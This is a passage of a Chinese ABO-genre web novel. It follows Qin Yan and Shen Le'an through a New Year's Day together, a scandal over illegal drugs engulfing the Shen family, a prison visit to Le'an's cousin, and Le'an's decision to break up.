沈乐安果然不是很信任他。 不过伴侣间也很难做到彼此坦诚无间,保持适当的距离和分寸也是当初秦砚对于另一半的认知,毕竟他自己也不希望对方干涉自己的工作。 秦砚说服自己,压下那点微妙的不适,侧头看了看坐在副驾驶位置上的人。 Omega阖着眼,呼吸均匀,脑袋歪倒在椅背上,眉眼间还有连日来的疲倦,显然没有睡好,也不知是不是车上的味道好闻了一些,他闻着味道在没有怎么晃荡的车上睡了过去。 睡梦中的人毫无防备,完完全全的放松状态,仿佛置身在一个绝对安心的环境,有种隐性的信赖与依赖感。 秦砚没有叫醒他,车子缓缓停在停车位置,目光移向车外。 树上的鸟巢内飞回了两只鸟,蓝色纹路那只衔着不知哪来的叶子,兢兢业业装饰着窝,另外一只缩在窝里面,嘬了嘬自己的伴侣,好不依偎。 有情有义,恩爱非常,十分登对。 秦砚扯了扯唇,随手一拨。 车前的远光灯一打,忽然的亮光如似一道从天而降的惊雷,吓到了温馨搭窝的两只鸟儿,温情的画面不见,取而代之的惊魂动魄的挥着翅膀双双逃离。 沈乐安半睡半醒间就看到了高冷严肃的秦教官干的缺德事,抽了抽嘴角,感觉自己像是在做梦。 “醒了就下车。”秦砚道。 听起来又像是他们吵架时秦砚欠揍的语气。 沈乐安方才的好心情全无,送了他一个白眼。 —— 沈乐安晚饭没有回去秦砚家,而是去了食堂。 是往常饭点的时间,但食堂内的人流量并不多,反而有点冷清,校内似乎也没有什么人。 打饭的时候阿姨和他说了一声新年快乐,沈乐安才回过神,发现今天是元旦,学校应该放了假,难怪这里没有什么人。 秦砚还是坐在之前常来的那个区域,亘古不变的恪守着某种习惯性的选择。 沈乐安觉得自己也沾染了一点他身上的老旧感,还多打了一碗汤,也没买饮料,打的白开水,养生修性。 新的一年还是不要从吵架开始吧。 沈乐安想着,与他说道:“秦砚,新年快乐。” 秦砚看着他漆黑乌亮的眸子,嗯了一声,也道:“新年快乐。” “你今晚怎么没有回家里吃饭聚聚?”沈乐安问。 秦砚言简意赅:“家里没人。” “啊?” “我爸妈都出差在外地,爷爷会去朋友家下棋,奶奶也会跟着。” 还真的是忙碌的一家人啊。 沈乐安心头莫名,便道:“那你不是之前跨年都是一个人过?” “军队内也会有节日团建。”秦砚道,“普通的节日只是一个被人定义的日子而已,我不会花费时间在上面。” Alpha声音有点冷淡,无波无澜,眼波淡淡,仿佛平静的湖面,鼻梁高挺,唇瓣单薄,硬板的线条生出几分冷硬,一如他毫无情绪的话语。 “对我来说不一样,”沈乐安嘟囔了一句,“你能不能别老是扫兴?” 秦砚听得清楚,没有说话。 沈乐安垂了垂眼皮,用筷子仔细将不喜欢的菜品分开,说道:“新年第一天不兴吵架,你说话注意一点。” “我没有想和你吵架。”秦砚道。 沈乐安敷衍地应了他一声,抬抬手,把自己碗里不喜欢的菜夹给他。 秦砚的碗里自然地多了一份青椒,躺在他的饭上面,淡淡的一层油渍也跟着泼在上面,多了一层鲜亮。 他们之前吃饭也只是各吃各的,没有这样的行为。 秦砚默了半晌,视线落在了少年的身上,眼里的疑惑很明显。 “我只爱吃青椒炒肉里面的肉,”沈乐安解释了一句,又道,“你不是喜欢吃青椒?刚好不要浪费。” 秦砚没动筷子,蹙了蹙眉,“我没有说过这话。” “但你之前吃饭都会多夹两口。”沈乐安补充完整他的话语。 秦砚顿时安静了下来,神色莫名,似乎在回忆自己过往的行为。 沈乐安觉得他此时此刻十分的严肃,就因为一盘青椒,他有点无语道:“秦教官,爱吃青椒不是什么很可怕的事情吧?” 秦砚没接这话,也没有多碰进到他盘里面的青椒,只是轻轻拨开,尝了一两口,便适可而止。 沈乐安观察着他的动作,觉得有点奇怪,问道:“你不喜欢?” 这里只是学校的食堂,不是什么危险的场地,秦砚没有否认:“有点轻微的偏好。” “那为什么这样?” “过多的表露自己的喜好会影响任务的进行。” 沈乐安愣了一下,手上的动作停了下来,认真地看了他一眼,像是第一次认识他一样。 他回想起来当初在病例报告上写的简单的一行话,冰冷冷的文字记录了秦砚病情的来源—— 在反叛军卧底任务中,被连续注射“基因进化药剂”三针,浓度未知,临时标记行为,发生过六次信息素暴动,身体素质佳,目前无过度反应特征。 沈乐安之前没有见过参加这种卧底任务的人,哪怕他的外祖父也干过这种事情,不过他最后没有能够成功回来,只有惨淡无籍,连墓碑都不能公开的收场。 他若无其事地转开视线,低声问了一句:“我听说联邦一军参与的任务都是九死一生,非常危险的,是不是?” “有难度,但没有这么夸张,有些东西容易被人夸大谣传。”秦砚解释道。 沈乐安:“但能在里面活下来的一定很厉害,尤其是成为联邦一军队长这样的角色。” 他似是而非的直白,因为那双漆黑柔亮的眼睛与内里不加掩饰的笑意而杀伤力十足。 唇红齿白的少年坦荡荡的表达着自己的崇拜与喜欢,哪怕是克制而内敛的Alpha也足以感知到他灼热的视线。 秦砚筷子挪了挪,又夹了一块青椒,往嘴里送,他吃东西的时候唇瓣紧闭,咀嚼的动作很慢。 而后又抽了一张纸巾出来,手臂一抬,放在沈乐安的手边,“嘴角有油。” 沈乐安哦了一声,取走拿张纸,往嘴角抹了抹,目光还落在他的脸上,“还有吗?” 秦砚抬了抬眼皮,“右脸颊有米粒。” 沈乐安拿着蹭了蹭,又低头看了眼,没弄下来什么东西。 秦砚抬手,微热的指腹揩去他脸上的米粒,意味不明地嗤声说了一句,“三岁小孩吗,吃到脸上,还左右不分?” Alpha指腹略微粗糙一些,偏硬,但温度确实如脸颊凉凉的感知不同,透着阳刚的烫意,动作间带了一点强势,举止有点出乎意料的亲昵。 沈乐安方才的坦然不再,多了一点无名的闪躲,眨了好几下眼皮,难得没有反驳他的嘲弄。 秦砚轻轻碾了碾指腹,视线也移开了一些,没有错过Omega藏在发侧变了一层薄红的耳珠。 像是小巧的珍珠,颜色与表皮如漂亮精致的玉石,荡漾的暧昧的红晕。 秦砚到底还是将沈乐安夹过来的青椒全部吃完了,一点也没有浪费。 沈乐安没有回自己的宿舍,又去了秦砚家里。 食堂里面积攒的好心情在回秦砚家洗完澡后看到热搜的消息以及连续拨打进来的电话时消散的干净。 热搜上满满当当都是新年新气象的各种祝语,以及元旦晚会的直播,充满了喜庆和欢愉,充满割裂感的实事讨论却以一己之力从底部飞升上来。 #联邦军校比赛学生已认定死亡?爆料鉴定结果消息!# #联邦官方鉴定结果已出,沈氏集团捐赠非法物资酿成祸端# #沈氏集团与信息素暴动# #沈华章非法药剂研发# #非法药剂危害社会,沈氏集团董事长涉嫌刑事案件,联邦已将人拘留# #沈家?反叛军最大分子?# #光明俱乐部被整顿,涉嫌非法药剂,注册人为沈烨之妻# …… 乌压压的报道以惊人的速度将热闹的新年帖子全部挤了下去,铺天盖地的信息如同一层厚重的大网,从天而降,让沈氏甚至整个沈家被拖到了舆论的风口浪尖。 像是新年第一声烟花炮响,炸开了安静的夜空,也让联邦全部聚焦于这个令人震惊的消息。 一向不怎么用微信的爷爷还专门在家庭群给他发了消息,让他不用管网上的事情,他这边会处理好。 朋友接连给他转了消息,问是什么情况,需不需要帮忙。 余淮阳也给他打了电话。 陈悦也给他发了消息,告知她暂时会被停职一段时间,会有人临时带班,还给他转了另外一个联系人的微信。 徐应尧发了一段语音,让他不用担心那个学生,网上的消息属于谣言,不属实,又问了一句他后面的打算。 沈乐安谁也没有回,直接断了网,没有处理这些乱七八糟的事情,手机也开了免打扰,没接电话。 倒是没想到对方还专门挑了一个这么膈应的时间,显而易见,并不想看他们喜庆庆的过年。 他最近查了和沈家有过关联的人,也没查出来他们家有什么嫉恶如仇的存在,毕竟这些年沈家还是非常低调的,而且他爷爷也不是什么会得罪人的性格,唯一可能的也就他爸生意上的仇敌。 沈乐安还记得沈烨当时和他说过的,他妈妈并不希望沈烨去公司,排除病情的影响,有没有可能就是和公司的什么人有关呢? 但如果真的按时间来看,这个人岂不是一直和公司有联系,又对他们家关注紧密?等等,如果妈妈没有犯病,又这种态度……他妈妈是不是也认识这个人? 沈乐安烦躁地吃了颗糖,又见手机屏幕还在亮着,小图标显示有来电的信息,索性随手一按,眼不见为净,将手机关机了。 他换了睡衣,又下楼从冰箱内取了杯酸奶,没有手机,也不想上网,乐子便少了许多。 在客厅内走了走,见秦砚下来,才道:“上次拿回来的游戏碟片呢?” 从秦砚家里弄回来的东西,沈乐安怕弄坏,所以也放在了他这里,反正自己也会常来。 沈乐安手上没有拿着手机,也没有和往常一样在客厅里面打游戏,但他并没有表现出什么异常,语气和方才没有差别。 两人默契地没有说热搜上的事情。 秦砚从柜子里面找出来游戏碟,手柄也在里面,一并给他。 沈乐安取了其中一个手柄给他,“双人游戏,我一个人不好玩。” 太久没有碰这些东西了,感触有些陌生,秦砚见他也不算娴熟,帮他操作好碟片和上面的指引。 沈乐安搜罗了一圈,从座椅拿取了两个坐垫,给了秦砚一个,又翻了一些零食出来,摆在旁边,当然,垃圾桶也近在咫尺,因为秦砚在,不能乱丢垃圾。 沈乐安拍了拍旁边的坐垫,“坐吧,秦教官。” 秦砚迟疑了数秒,还是坐了下来,以一个不是很规矩,略有点闲散的姿势。 沈乐安看出他的拘谨,觉得有些好笑,“你之前和谢景开他们玩这个不会还是端坐如钟一样看乐子吧?” 早之前他确实没有如此,只是在军队多年,耳濡目染,又在反叛军那当了许久的卧底,不愿和那群人同流合污,所以也格外克制,没有了那份纨绔的德行。 秦砚没有回忆过往的爱好,只是道:“会不会操作?” 沈乐安尝试了几下,屏幕上的小人也跟着动了动,只是操作不稳,人物猛地磕到了墙上,摔了回来。 他轻咳了一声,道:“好像不是很会。” 秦砚做了几下示范,又比了一下前方右侧的按钮,“这个是攻击键。” 沈乐安如火炮制,将秦砚控制的小人打了一拳,两个小人本来就靠的近,对方瞬间掉了血条。 秦砚买的屏幕很大,影像也格外的清晰,游戏虽然是很早之前的款,但是画质也很精良,那个小人受了攻击,脸上也变得红肿青紫,看着有几分可怜。 小人是早之前秦砚玩的时候捏的,和他还有几分相似。 秦砚侧眸,看了少年一眼。 沈乐安看着画面上的惨状,对着正主弯了弯唇,一脸纯然无害,然后手上又操作给了秦砚小人一击,小人一瞬间又掉了一大截血条。 少年颇有点小人得志的得意洋洋,却又不会让人恨得牙痒痒,反而有几分灵动的可爱。 秦砚拨了拨指尖,屏幕上的两个小人就开始打了起来。 沈乐安作为初学者,连跪几局,完全没有了刚开始的得意,不是很高兴地去搜了一圈攻略。 卷土重来,非吴下阿蒙,终于把秦砚压着打了三赢了三局,沈乐安这才心甘情愿地放下手柄。 时钟也转眼过了零点,新的一天来临,外面的天已经黑沉沉一片,月色也暗淡了下去。 沈乐安才发现已经过了这么久。 约定不吵架的一天就这么悄无声息的过去了。 沈乐安看着黑下来的电视屏幕,无名有些淡淡的怅然,他看着秦砚将游戏碟片取出收好,也将手柄给他,柜子一关,仿佛上了一道封印。 “你今天过来接我是想和我说什么?”沈乐安问道。 秦砚不会无缘无故的来接他,沈乐安这一点还是非常清楚的。 秦砚看了他一眼,能够分辨的出他下楼时低迷的心情,便道:“有点晚了,明天说吧。” “十二点过了,”沈乐安指了指时钟,“现在是第二天。” 秦砚头一次有点迟疑,或许是刚刚看到他心情不好鬼使神差故意输给他的影响还没有完全解除。 沈乐安拆了颗糖,问:“和沈家闹出来的事情有关?” 秦砚看向他,“你看了那些报道?” 沈乐安点头,“下来前刚看到,所以你想和我聊什么?” “这次比赛上发生的信息素暴动你是不是提前知道?”秦砚道。 “有所猜测而已,我不能确定。” “你当初应该上报这件事情。” “这只是一个猜测,没有证据。” “你可以和我说,”秦砚道,“我还是你的男朋友。” 沈乐安顿了一下,扬了扬眉,“秦砚,你在教我公私不分?” 他不是这个意思。 秦砚默了默,深深看了他一眼,道:“是你在公私不分。” 不论是比赛上的事情,还是药剂的研究,以及之前种种的隐私材料,都是不容磨灭的证据。 沈乐安没有否认,笑了笑道:“没办法,你纵容的。” 秦砚安静了几秒,并没有推卸自己的责任,毕竟虽然元首让他帮忙沈乐安的事情,但没有到这种地步,他确实很多事情都过了线。 沈乐安脸上没了笑意,只是表情平淡地看向他。 秦砚垂了垂眼皮,“你手头还有药剂的研究,沈家的事情和药剂有关,你这时候不干涉是最好的选择。” “干涉了又怎么样?”沈乐安抬起眼皮看向他。 秦砚语气很沉,表情也很严肃,义正严词地道:“我不会再给你提供任何的帮助,如果机密内容流露,我会向联邦申请对你的管制。” 饶是猜到他的做法,沈乐安还是不免因为这话略微有点失神。 不过他脸上没有表现出什么异样的情绪,只是轻轻笑了一下,说了一声,“放心吧,不会牵连到你的,秦教官。” 带着细细麻麻的针一样的话语微不可见地扎入心口,让人不适,尤其是少年疏离的口吻与动作。 秦砚作为联邦军队的一员,沈乐安作为他的伴侣,确实不能干涉其中,但秦家却可以从旁进行关系疏通,这些并不是什么难事。 但秦砚没有将这些话告诉沈乐安,他一贯会得寸进尺,做事又没有分寸,很容易被人拿捏把柄,他作为他的伴侣,有些事情是必然要告知他的。 秦砚抿了抿唇,压下了想要摸摸他头的心思,转移了话题,“这些零食还吃不吃?” “不吃了。”沈乐安说着,随手将刚刚拆开没有吃完的薯片丢进了桶里。 其中有一袋还是专门拆了给秦砚的,秦砚还没有来得及吃完。 秦砚看着桶里散开的金黄脆片,抬了抬眼皮,只看到了Omega漠不关心的表情和动作,以及他们之间拉开的距离。 仿佛千里之外的遥远。 第58章 第 59+60 章 年后的几天, 沈家的事情接连爆发出来,引发了热议,沈氏集团及时做了公关, 但奈何牵扯的事情过大, 完全压不住这爆发的热度和非议。 沈家也没有了新年的半点喜意,家里非常的死寂沉沉。 沈芸也来了沈家老宅,因为这件事情一开始是从沈华章开始的。 沈华章在新年的前两天就被人举报调查了,不过牵涉的只是他开设的公司, 联邦监管局并没有对他进行任何的拘留,只是查了一下他的公司账户流水和一些业务内容, 没查出什么,那边也只是轻拿轻放。 但谁想到监管局的人如此的紧跟不放,还私下另外进行了一番检查,将公司底下的制药厂全部进行了排查, 然后就查出来了公司底下隐瞒了另外一批货物, 沈华章就被关了进去。 沈家还是有一定人脉的, 但沈芸没有走通关系,跨年夜她刚来过一次, 沈老爷子答应会帮忙找人问问情况, 结果元旦当天, 这事就被人捅了出去,关键这个项目沈华章当初找沈烨借过钱,对外说是沈烨的投资, 虽然事情被压下去了, 但现在还是被人暴了出来, 而且牵涉的范围扩大了数倍,已经到了难以抵挡的地步。 公司那边出了这种事情, 杨元然自然没有办法陪沈芸过来,这次是沈芸自己来的,几天的折磨已经让她精神状态堪忧,眼底的青黑也愈发明显,仪容憔悴不堪。 沈老爷子问她沈华章公司的事情,她知道的不多,反反复复哽咽地重复着一点稀碎的内容。 沈老夫人见她一副天塌了的样子,和当初她丈夫出意外的时候一样,一点长进也无,气不打一处来。 沈老爷子叹了口气,又道:“阿芸,这事情牵扯不小,你如果还知道点什么,能告诉我们的得全部说出来,尤其是现在不仅仅是华章一个人的事情了,你明白事情的严重性吗?” 沈芸擦了擦眼泪,低声道:“我知道的,只是华章之前没有和我说过多少工作上的事情,所以我了解的也不多。” 沈老爷子看了她一眼,摇了摇头。 沈芸自觉失态,暂时离开去了一趟卫生间。 沈老夫人这才问自己的老伴:“这事原本不是华章公司的事情吗,怎么会牵扯到沈烨来了?” 沈老爷子道:“华章在沈氏工作,新开的分公司沈烨给了他一笔钱,算是借的,他宣传的时候拿了投资的名头,这事很难断开,关键还是因为这次捐赠给联邦军校的物品里面有非法的药剂,不怪人家怀疑咱们家。” 沈老夫人觉得这事都怪沈华章,想起来老头之前对这个侄外孙的态度,又说:“你之前还说沈华章比你孙子多厉害呢,看这事整的,害我儿子也牵连其中。” 沈老爷子虽然也觉得这事情华章确实可能有犯蠢的可能,但对于他的人品,他还是非常信任的,拧眉道:“这事不一定就是华章做的,只是怀疑,联邦会调查清楚,你别说这种风凉话。” 沈老夫人没心情和他吵,问道:“沈烨不在,公司谁在处理这事?” 沈老爷子说:“又不是少了他公司就转不了,元然在公司,能够搭把手。” 沈老夫人对杨元然这个沈烨多年的好兄弟,兼沈芸的现任丈夫,一直态度不好不坏,但也没有多喜欢。 姜叶怀孕那事她儿子一直没有追究,沈老夫人却见过姜叶和杨元然私下见面的,尤其是杨元然最早还是因为姜叶,才和沈烨认识。 偏偏这次的事情还牵扯到姜叶,沈老夫人心情也非常的复杂,“姜叶也走了这么多年了,怎么还能把她扯进来?” 沈老爷子也不清楚,但绝对不是什么好事。 他想起来早些年老姜一家突然遭遇意外的事情,心中微沉,转移了话题:“乐安呢?” 沈老夫人:“在那屋里呢。” 沈乐安回来后就一直在之前上锁的主卧内,谁也不让进来,重新翻查妈妈遗漏的物品,试图找到一点有用的东西,但还是一无所获。 想也知道,如果真的那么容易被找出来,这么多年,早就被翻出来了,哪里还轮得到他现在在这翻翻找找。 但他现在尤其的肯定,东西一定就在姜叶这里,这次的事情出的太巧,他前不久刚想把他妈妈的东西搬走,但是最后没有搬,大张旗鼓的动作很有可能被暗中监视的人发现了,认为他发现了什么,所以开始针对沈家,急不可耐的开始收网。 好在他们家的人身安全还是能够保障的,毕竟他现在还在担任的药剂研发的任务,涉及机密和重要研究,联邦对他和沈家人的人身安全有高度的监控。 至于被抓走的沈华章和沈烨,在联邦监狱待着也比外面要安全一点,毕竟当初姜家可是出了好几处意外的。 沈乐安连墙面都敲了敲,倒是没有发现什么空心的地方,略有点遗憾地出了房间,又重新锁了门。 看来之前看的电视剧还是对他的智商受到了一点影响。 客厅里还响着二老安抚沈芸的声音。 见沈乐安从姜叶之前住的房间下来,沈芸抿了抿唇,又垂下了眼皮。 上次听说沈乐安要将姜叶的东西搬走,沈芸还觉得松了口气,终于可以不用再这个屋子里听到还有这个一个人的存在,但谁知沈乐安又放弃了这个念头,最后这事无疾而终。 杨元然知道这事的表情沈芸想起来还是觉得膈应,姜叶走了这么多年,就因为一些遗物,杨元然竟然有点失态,难得有好脸色向她追问起这件事情。 就因为姜叶,他对沈乐安比华章要亲近的多,现在也一心帮着沈家,在沈氏集团忙,华章出事,他也没有多问一句,连她电话也不接了。 当真是讽刺非常。 沈乐安看见沈芸,喊了一声,“姑姑。” 沈芸点点头,没有说其他。 沈老爷子道:“阿芸,乐安要去看看华章,今天让你过来,是问你要不要一起过去?” 沈芸愣了一下,“我之前去的时候他们说不开放探监。” 沈老夫人觉得她没眼色,问那么详细做什么,还不相信她孙子的本事不成? 这事是宋书颖帮的忙,虽然和秦砚吵架闹掰了关系,但因为宋姨的关系,沈乐安没有拒绝宋书颖的好意。 沈乐安也没有解释,只提道:“时间有限,只能探望两个小时,约了具体的时间,下午三点到五点。” 沈芸也反应过来,立即起身,“那,那我们现在过去吧。” 爱子心切沈老夫人也能理解,叫了家里的司机,提前去了地方。 儿子第一次因为这种私事找宋书颖帮忙,宋书颖做事可谓十分用心,沈家一行人到的早,看守的人早就经过提点,也没有那么严苛,提前放他们进去了。 沈华章被关了几天,第一次见到外面的人。 哪怕是拘留,沈家提前走了关系,并没有将他关在和其他罪大恶极的人一块,但到底孤僻的被关押,又是黑不见底的地方,又被人反复提出来审问,他原先的意志在短短几天内消磨的一干二净,早没有了那个意气风发的模样。 沈芸见他第一面,眼泪就控制不住地往下掉。 沈华章一身狼狈,衣服都几天没换,对比他们过来的一行人,尤其是精致的沈乐安,心情十分的复杂。 他没有和沈乐安说话,而是忙不迭地与沈老爷子道:“爷爷,药剂的事情我真的不知道是怎么回事,我没有和反叛军勾结,也没有搞什么非法药剂研发,您要相信我……” 他语速又快又急,眼眶也因为连日来的折磨变得通红,这几天没有人过来看望他,他生怕自己被人冤枉,再也出不去这个鬼地方,心中惶惶不安,完全没有了分寸。 沈芸抽噎地安抚他,“华章,我们都相信你,你爷爷一定会把你弄出去的,你别急……” 沈老夫人压下不满,打断她的话道:“如果真的没做,那就把事情说清楚,调查的人才能快点走完流程,你和华章说的什么话!” 还有人在这看着做记录,这话说的好像他们沈家要压下事情走后门捞人似的。 沈老爷子在军队待过,也不是很喜欢沈芸这番言论,给沈老夫人使了使眼色,沈芸就被沈老夫人半哄半拽拉出去了。 沈芸不在,沈老爷子便拉着孙子坐了下来,与沈华章道:“你的事情现在我也不好帮你处理,这次能来看你,也是乐安帮的忙,这事我得提前和你说清楚。” 沈华章闻言,有点僵硬地将视线挪到了旁边的沈乐安身上,抿了抿唇,不知道该说什么。 沈乐安没有和他废话,“你公司的事情已经牵连了沈氏集团,沈家也因为这个事情受到了影响,我爸也被关押了,热搜这几天一直在说这个事情,不仅是说你,而是认为沈家与反叛军有了关联,表哥,你最好权衡一下事情的严重性。” 外面的事情沈华章并不清楚,尤其是什么热搜,他完全一无所知,但如果沈烨都因此受了灾,这事情必然严重得多。 沈华章原先还以为是哪里的竞争对手来栽赃他,此刻脸色一白,诺诺道:“我,我也不知道。” 沈乐安:“你之前和我说,你原先的那个研发团队是资金断裂,偶然让你知道后才注资进去的,里面的人员名单你应该还有留存吧?当时这个团队原先的投资人你有没有印象,他们怎么说的?” 他语气很平静,没有什么玩笑的意思,让沈华章也冷静了下来。 投资的事情确实是偶然的机会,沈华章回忆了一遍当初的经过,又道:“团队的成员名单和信息我都有,被我存在家里的保险柜了,密码是我的农历生日,包括公司的药剂秘方,也全部在里面。” 一旁看守的人冷冷看了沈华章一眼。 沈华章下意识打了个寒颤,他原以为是对家恶意陷害,公司的机密他也瞒着,审问的时候没敢说。 沈乐安记下,又问:“你公司的私账是怎么回事?还有隐瞒下来的工厂。” 沈华章忙道:“那些出问题的工厂真的和我没有关系,公司有合伙人的,我们分了业务,我负责低端市场的开拓,他那边负责高端市场,高端市场售出的主要是海外,不在联邦。” 沈乐安抽了抽唇角,没忍住,讽刺道:“但公司你是全权负责人,也是法人,你觉得和你有没有关系?” 沈华章顿时安静了下来。 沈乐安压下脾气,继续追问:“那个人是谁,你怎么认识的?” “他是我大学同学,这几年他负责的业务在海外,所以人经常在海外出差,我一般和他线上联系。” 沈华章现在是真心觉得自己可能会被牵连,说的尤其仔细,还将这人的名字原先住址什么的说的非常具体,自己的微信账号密码也一起给了出去,满心希望沈乐安能够帮助他脱离苦海。 两个小时的时间有限,沈乐安能问的都问了,看守的人已经给了他们多出的半小时,他也不能让人难办,五点的时候准时出去。 方才一直在旁边看守的警官出来后才与他说道:“今天的事情希望您保密,不要对外公开,我们已经派人过去取了沈华章说的文件信息,如果有后续的进展证明与沈家无关,我们会放人的。” 秦家那边专门来了人提点此事,所以这边对沈家也非常的客气,当然,警官对沈乐安客气非常的愿意主要还是因为检验身份的时候,对方的信息是保密级别的,这才是他真正态度十分友好的原因。 他还是警察局的局长,却没有权限,说明对方保密级别很高,联邦官方保密起来的个人信息某种程度上说明这个人对于联邦的重要程度,对方一定对联邦做出来巨大的贡献,否则不会有这种待遇。 沈乐安与他道了声谢,送完沈芸回家,回到老宅时,发现老宅外面挤了一片的人,乌泱泱的一片。 闹哄哄的,保安根本压不住,还有人试图推开门闯进去。 有人拿着喇叭语气高亢地喊着:“黑心的沈家给我们用非法药剂,联邦检测出了上瘾成分,他妈的赚黑心钱伤我们的身体,给我们消费者赔钱!” “赔钱!” “沈黑心赔钱!” “不给钱我们就进去砸他们东西!” 沈老爷子气急想要出去,沈乐安压下了他,直接报警处理,又让司机将车开出去,没成想有人眼尖,看到车子,指着道:“沈家人回来了,大家快去!” 司机被这声吓得一惊,忙倒车开走。 沈老夫人也被吓了一跳。 沈乐安当机立断,说了自己新买的房子地址,“先去哪里,家里的地址被人恶意泄露了,不是很安全。” 沈老爷子拧眉,压下怒火,也反应过来有点不对,明显有人恶意挑事,而且他们家的车可不止这一辆,能一眼认出来,绝对不是巧合。 他想起来姜家之前的事情,倏然沉下来脸。 沈老爷子思绪微转,便对孙子道:“乐安,你最近还是在联邦军校里面住着,这样安全一点。” 军校管理严格,又因为之前那个学生的事情,外人基本上不能进去,沈老爷子对那的安全非常放心。 “我心中有数,您不用担心。”沈乐安安抚他道。 沈老爷子见状,也点点头,难得唠叨多叮嘱了几句。 沈乐安全部应下,送完二老去新买的别墅那,这才回了军校。 闹事的那边在警察过来的时候迅速处理完了,家里的保安也给他发了消息,建议他们暂时不要回来。 确认没有额外的伤亡,沈乐安暂时放下了心。 今天的闹事绝对不是什么意外,明显是有意为之,倒像是一场来势汹汹的警告,让他们沈家知道利害。 这人就想在他们家按了监控似的,摸准了他们家的一举一动,沈乐安心中膈应,不把人弄出了他绝对不甘心,但这番动作,也恰恰说明了一点,对方暂时不敢有大动作,难道是担心他们家出了意外,会有什么严重的后果不成? 不过今天去沈华章那里得来的消息倒是确实有用,只是如果想要以他的身份获得那些资料,恐怕很难。 他习惯性的在找人帮忙的时候想到某个人的名字,记起前不久秦砚冷冰冰的警告,蹙了蹙眉,压下了飘起来的心思。 走了两步,看到熟悉的路灯,抬起头,便见到了熟悉的房子和站在门口开了门刚要进去的秦砚。 沈乐安:“……” 忘了他又不住秦砚这了,妈的。 Omega身上穿着蓝色的羽绒外套,头上带了一个毛线帽子,露在外面的只有小半张脸,这一身是秦砚没有见过的。 沈乐安这两天没有过来,衣服自然也是他自己宿舍里面的。 沈家有人闹事的事情秦砚知道,但此时此刻,他并不想问这些,他妈会帮忙处理,他不是很想让沈乐安知道这中间有他的因素。 车子开走到回来时间太紧,不够一顿晚饭的时间。 秦砚思索片刻,问道:“吃饭了吗?” 沈乐安忙着跑了一天,还没吃晚饭,不过他本来没想过来,特别是今天看沈华章还是宋书颖帮的忙,他不想听秦砚说七说八。 人情这种事情真是越欠越多,不好处理,他还是自己想办法解决,和秦家撇开一点距离会好一些,免得让秦砚为难。 沈乐安想到一开始进入联邦军校时签订保密协议时那人给他留的电话,心下有了决定。 他看了眼秦砚,也没打算留下蹭饭,但莫名其妙走到了这里,总归看起来有点奇怪,便说:“我来拿个东西。” 秦砚瞥了一眼他站在原地的动作,开了门,“进来吧。” 沈乐安见他先进去,才慢吞吞地跟在后面,也进了那栋熟悉的房子。 —— 秦砚进去后也没有专门看着他,转头直接去了厨房,沈乐安倒是松了口气,省了应付他的功夫。 他没想过来秦砚这边,今天走过来纯粹是一个意外,不过既然找了借口要来拿东西,沈乐安还是上楼回之前睡的房间看了一眼。 主卧的摆设没有怎么变化,桌上还留着他离开前忘记带走的平板充电器,不过床上的被子倒是被人整齐叠好了,床单也一丝不苟铺的整整齐齐。 上次起来的时候在床上看到秦砚之后,便默认他可以随意进来,于是沈乐安起床的时候被子都会被人叠好,这成了另外一个默认的情况。 沈乐安扫了眼平整的床,摘了充电器,又看了一圈屋内,深深觉得自己放在这里的东西略多,不过都是一些小物件。 他看了一圈,最后还是将衣柜里面的衣柜取了出来,找了一个袋子,往里塞了进去,至于剩下的一些东西,还是麻烦秦砚一起处理丢掉算了,反正早之前他也是这么整理的,过来一趟他住过的痕迹可以几乎不见。 沈乐安拎着一袋子衣服下了楼,有点重,他还有点后悔,还不如让秦砚一起把这堆衣服丢了,就说他过来取个充电器。 秦砚听到动静,出来便见到他手上提着一袋子衣服,凝着眉,从他手里接过,“先吃饭。” 衣服被秦砚拎到了沙发上。 沈乐安闻到了飘来的香味,确实觉得有几分饥饿,好吧,虽然处于马上闹掰的状态,但并不影响他在这再蹭一顿饭。 沈乐安走到餐桌边,看到了放在桌上,已经盛好饭的碗,今天的菜也是他喜欢的那几道。 Omega自然地坐在了自己的位置上,给自己先夹了一口,咀嚼了几下,眼尾荡漾出几分轻微的满足感,一如往常,少了那份冷淡,像是一只偷食的小猫。 他虽然在一些事情上行为不算成熟,但好在并不会揪着一件事不放,知错就改,也不失为一个优点。 秦砚多看了两秒,眉间微舒,也回了座位。 沈乐安吃了两口饭,便听秦砚道:“沈叔叔走完拘留的流程,过一段时间就会放出来,你不用担心。” 沈乐安没接这话,只道:“我自己会处理。” 秦砚眉心微拧,看了他一眼。 沈乐安低头吃饭,没有什么与他聊天的打算。 秦砚沉默两秒,忽然开口道:“怎么突然要搬衣服回去?” 沈乐安:“不来这住了,所以把衣服拿走,剩下的一些东西你帮我处理掉就行。” 空气陡然安静了数秒,两人都默契了谁没有不说话。 秦砚放下筷子,筷身与瓷碗碰撞一起,发出很轻地一声响动,他语气平静地问:“你还在生气?” “有点,”沈乐安坦诚道,“不过我现在没有和你吵架,也没有说气话。” Omega认真起来的时候态度也非常的平和,没有平日里的懒散,话语间带了某种笃定,甚至有点隐含的强势。 秦砚退了一步,说道:“这是一件公事。” 沈乐安点头,没有否认,“我公私不分,对我来说都一样。” 被他这话一噎,秦砚脸色也不是很好看。 沈乐安见他表情冷肃,便知道他误会了,吃了口菜,才慢吞吞地说:“我没有怼你,只是在和你说一件客观的事实。” 秦砚神色便没有好多少,周身散发着冷气,他压下心中的不快,又道:“参与这件事的本身对你没有什么好处。” 这件事联邦本就会解决,只不过时间会慢一点,但如果沈乐安参与进去,又因为还有药剂的事情在,很容易出现意外。 尤其是今天才出现恶意泄露地址和上沈家的住处闹事的事情。 沈乐安没应,只说:“没有人能干涉我的决定。” “包括你的伴侣?” “是。” 秦砚顿时哑口无言。 沈乐安态度罕见的强硬,甚至有点冷漠,和平时娇气的小少爷模样全然不同。 秦砚因为他的态度,脸色也极其难看。 沈乐安轻咳了两声,没想闹得那么难看,便道:“反正也没有公开,没谁知道这事,你只要和书颖阿姨提一句我们不和分手了就行,药剂已经研发的差不多了,徐师兄已经和你提过了吧,他会给你安排治疗流程。” 秦砚的表情已经很难用冰冷两个字来形容,他话里都难以抑制有几分冷气,“你是深思熟虑后做出来的这个决定?” 沈乐安点点头,还补了一句,“我觉得我们不大合适。” 见秦砚没有说话,眼波锋利如刀,沈乐安略有几分心虚地转开了视线。 秦砚高傲惯了,估计是第一次被人甩,心情不好非常正常。 沈乐安回忆起最初他对秦砚感情经历恶意揣度的小九九,还想着有人故意甩他让他丢脸,没想到这人竟然变成了自己,实在巧合过度。 